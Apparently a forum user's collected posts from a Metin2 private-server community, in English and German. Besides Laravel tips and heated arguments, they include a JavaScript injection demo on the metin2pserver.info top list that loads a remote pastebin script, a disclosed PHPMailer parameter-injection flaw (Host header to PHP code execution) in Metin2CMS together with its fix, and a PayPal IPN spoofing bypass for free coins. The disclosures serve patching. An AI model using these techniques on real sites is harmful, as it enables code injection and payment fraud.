Beiträge von metho

    metin2pserver.info - Javascript code injection example


    Hi,


    Here is a small example of a code injection on the top list: metin2pserver.info.


    If you want to test it yourself:

    I hosted the following script here (Bitte melden Sie sich an, um diesen Link zu sehen.



    To inject it, go to a server page (e. g.: Bitte melden Sie sich an, um diesen Link zu sehen.).

    Launch this script on the page:


    You can then inject it like this:


    JavaScript
    1. injectScript('https://pastebin.com/raw/28VjB803').then((r) => console.log('Result: ', r));


    You can then test it like this:


    Bitte melden Sie sich an, um diesen Link zu sehen.

    Bitte melden Sie sich an, um diesen Link zu sehen.


    Have fun :shrug:

    You know yourself that this is the wrong approach. Nobody should use these variables in productive code. Thanks to ionut who already released a hotfix for it: Bitte melden Sie sich an, um diesen Link zu sehen.

    Hello everybody,


    Since someone asked me about injections in Metin2CMS (targeted CMS: Bitte melden Sie sich an, um diesen Link zu sehen.), I quickly looked at the code of the CMS mentioned. I also noticed a critical exploit that enables code injections.


    The file include\functions\sendEmail.php contains the following code:


    PHP
    1. $site_name = $_SERVER['SERVER_NAME'];
    2. if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf';


    As of Apache 2, $_SERVER['SERVER_NAME'] can be transmitted from the client to the server via the http header Host (like for $_SERVER['HTTP_HOST'] too).


    An email is sent in the same file using PHPMailer and the sender is set as follows:


    PHP
    1. $mail->SetFrom($email_name . '@' . $site_name, $site_title);


    The script include\mailer\PHPMailer.php validates the sender as follows:


    PHP
    1. if (!empty($this->Sender) and static::validateAddress($this->Sender))
    2. {
    3. if (self::isShellSafe($this->Sender))
    4. {
    5. $params = sprintf('-f%s', $this->Sender);
    6. }
    7. }

    The validateAddress function uses FILTER_VALIDATE_EMAIL according to RFC 822, which is not sufficient to check e-mails. :facepalm:


    The isShellSafe function uses escapeshellcmd, which prevents additional commands from being executed, but it is still possible to pass additional parameters / flags that allow the execution of PHP code.


    Fix:


    To keep it as simple as possible, it is sufficient if to change in the file include\functions\sendEmail.php:


    PHP
    1. $site_name = $_SERVER['SERVER_NAME'];
    2. if ($site_name == 'localhost' || $site_name == '127.0.0.1') $site_name = 'metin2cms.cf';


    To:


    PHP
    1. $site_name = 'server.io';


    In that case, server.io would be your domain name.


    Hope it helps.

    Magst ihn nicht aber schreibst ihm einen ellenlangen Liebesbrief. So wie du schreibst, beweist du selbst, dass du wirklich keine Ahnung von der Materie hast. Es gibt professionelle Software Entwickler, welche das beruflich machen, da sagt niemand "ich bin besser als xy", weil das keinen Sinn macht. Du spielst nur in der Amateur-Liga in deiner Gemeinde und hast ganze Sammelalben von uns.

    Laravel verwendet als Datenbank-Abstraktionslayer/ORM Eloquent. Das erwartet, dass jedes Model in der DB bestimmten Voraussetzungen unterliegt, so muss zum Beispiel der Primary Key id heissen und von 0 inkrementiert werden. Das könnte ev. zu Konflikten mit bereits bestehenden Metin2 Entries führen, nicht?

    Kannst du im Model ueberschreiben:

    protected $primaryKey= 'new_key';

    Weiss ich. Du kannst es auch komplett ausschalten in dem du `$primaryKey = null` und `$incrementing = false` setzt. Aber dann funktioniert eine Objekt-Relation nicht mehr korrekt.

    Lol, you are not a programmer, you're just a f* con artist. Bitte melden Sie sich an, um diesen Link zu sehen.

    I guess you have never wrote a single line of code in your life.

    You delete code until everything's fucked up, and then you revert your changes to the last functioning version of it: Bitte melden Sie sich an, um diesen Link zu sehen.Ha, you even stuck at the simplest problems: Bitte melden Sie sich an, um diesen Link zu sehen.


    I have never seen someone who's that overconfident like you. Go take some C++ beginner tutorials and come back once you learned how to assign a string to a variable.

    Man sieht leider, wie viele Leute schlechte Erfahrungen gesammelt haben. Ich sehe einen Server aber wirtschaftlich - bei mir wird vorher alles definiert. Vergütungsmodelle, Preise, Arbeitszeit.

    Ich habe Tabellen erstellt zur Preis-Absatz-Funktionen im Itemshop - es soll kein Bullshit werden. An alle die unter 18 sind hoffe ich, dass die Schule bald wieder los geht.


    Liebe Grüße

    Vergütungsmodell, aha. Es ist wichtig, dass du bereit bist Arbeitszeit direkt zu vergüten. Ist dies gegeben lohnt es sich weiter zu diskutieren, ansonsten pure Zeitverschwendung. Dein Kapital sollte schon im mittleren 5-stelligen Bereich liegen.

    Bin Software-/Web-Entwickler / Projektleiter. Wenn du bereit bist gute Preise zu zahlen und selber Erfahrung in einem Thema mitbringst, würde ich mich anbieten.

    Was leistest du? Was kannst du?

    Oder willst du nur das Geld raus legen?

    Wenn du vom TE erwartest, dass er dir preisgibt was er zum Team beiträgt, dann könntest du im gleichen Atemzug auch noch selber erzählen was du beisteuern kannst, würde mich brennend interessieren.

    bin nicht so bewandert im bereich laravel aber wäre es nicht entspannter und hübscher accounts usw als models abzubilden?

    Laravel verwendet als Datenbank-Abstraktionslayer/ORM Eloquent. Das erwartet, dass jedes Model in der DB bestimmten Voraussetzungen unterliegt, so muss zum Beispiel der Primary Key id heissen und von 0 inkrementiert werden. Das könnte ev. zu Konflikten mit bereits bestehenden Metin2 Entries führen, nicht?

    Hi

    Hier ein kurzer Tipp. Du verwendest aktuell den Query Builder. Dabei solltest du Queries auch anhand dessen verwenden. Queries solltest du ebenfalls limitieren (mit ->limit(1), wenn möglich). Eine Übersicht aller Query Funktionen findest du hier: Bitte melden Sie sich an, um diesen Link zu sehen.

    Wir haben ja eh schon guten Kontakt zueinander, aber wenn ich bei den Geschichten mit dem Modularen Aufbau helfen kann, bin ich gerne dabei. Finde die Idee auch gut und ich fand das hen cms noch nie geil, lol

    Wenn sich einige anbieten würden. Würde ich denke ich auch einen Teil beitragen. Könnte helfen eine CD Pipeline zu gestalten und Code Review zu checken. Womit dann jeder auf einem public Git Repository zum Beispiel Github + CircleCI contributen kann.

    Zum Thema Design hätte ich einen Vorschlag: Figma und Sketch App bieten einen auf Components basierten Ansatz. Dabei liese sich ein Kit an Komponenten designen als Basis wie zum Beispiel Buttons / Input Felder etc.. Diese könnte man als Component Library für Designer zur Verfügung stellen. Entwickler und Designer könnten dann die Standard-Komponenten anpassen.

    Folgender Fehler erscheint.


    Damit absolut niemand was anfangen können. Ich glaube so langsam es braucht hier in diesem Forum ein How-To ask a Question. Kannst du in deinem Ordner nachsehen, ob sich dort eine Log/Error-Log Datei befindet? Tipp: Sortiere die Dateien nach zuletz geändert, bzw. nach dem Erstellungsdatum.

    Können ist nun mal die Basis von Machen und Wollen. Du solltest kleine Brötchen backen. Mir ist bewusst, dass die technischen Anforderungen zu bewältigen sind, denn im Gegensatz zu dir, weiss ich was HTML ist. Es gibt auch fertige Videoplattformen wie Bitte melden Sie sich an, um diesen Link zu sehen..

    Dies kann er doch gerne karitativ machen, wenn er Spass daran hat. Aber er soll doch bitte nicht davon ausgehen, dass er jemals einen Cent damit verdienen wird und Entwickler bezahlen kann.

    Ihr seit doomed, Leute haben heute so hoche Ansprüche, dass ein paar Entwickler, das nicht einfach so hinbekommen. Was ihr vorhabt ist einfach null innovativ. Es ist die Nische der Nische der Nische, andere Video Plattformen haben es schon extrem schwer und ihr beschränkt euch auf English -> Gaming -> Metin2. Da schliesst schon mehr als 50% der Weltbevölkerung aus...


    Du überschätzt gnadenlos dein Können. Leute studieren jahrelang Netzwerktechnik um dann bei Youtube ein kleinen Teil beitragen zu können.

    Bleib besser Entwickler, dass kannst du anscheinend gut, aber deine Ideen sind meilenweit von einer plausiblen Umsetzung entfernt.

    Mach doch gleich noch ein eigenes Twitch, Netflix und ein eigenen Browser mit Privacy Modus. Eventuell noch einen VPN. Ich meine deine Firma ist ja darauf spezialisiert Software für Metin2 Spieler zu entwickeln. Das ist sicherlich ein bomben Geschäftskonzept.

    Es gibt doch schon etliche Steemit Plattformen wie Dtube und Dlive etc., welche aller Art Videos erlauben. Aber du könntest ja eine Plattform machen, welche schlechter ist, keine User hat und sich nur auf Metin2 beschränkt.

    Normally it is not something that would be done, true, but in this way the parameters received by paypal are cleaned so that the script can read them and verify the response received, in this case not only I say it, it is reflected in the documentation of PayPal API.

    Ok. Then it's PayPal's fault, i guess.


    They should write a better description of the implementation.


    Because a hacker can create his own PayPal Account / IPN Setup and Proxy its response to your server as Query String POST message included inside a JSON POST message. Your server will parse the JSON correctly and PayPal will parse the Query String inside it. It will return that it is a valid IPN message (because it is not checking for ownership).

    For example, everyone can easily get coins without paying the correct price.

    Code
    1. <p class="info"><strong>24.03.2020</strong>: Fixed in the new update</p>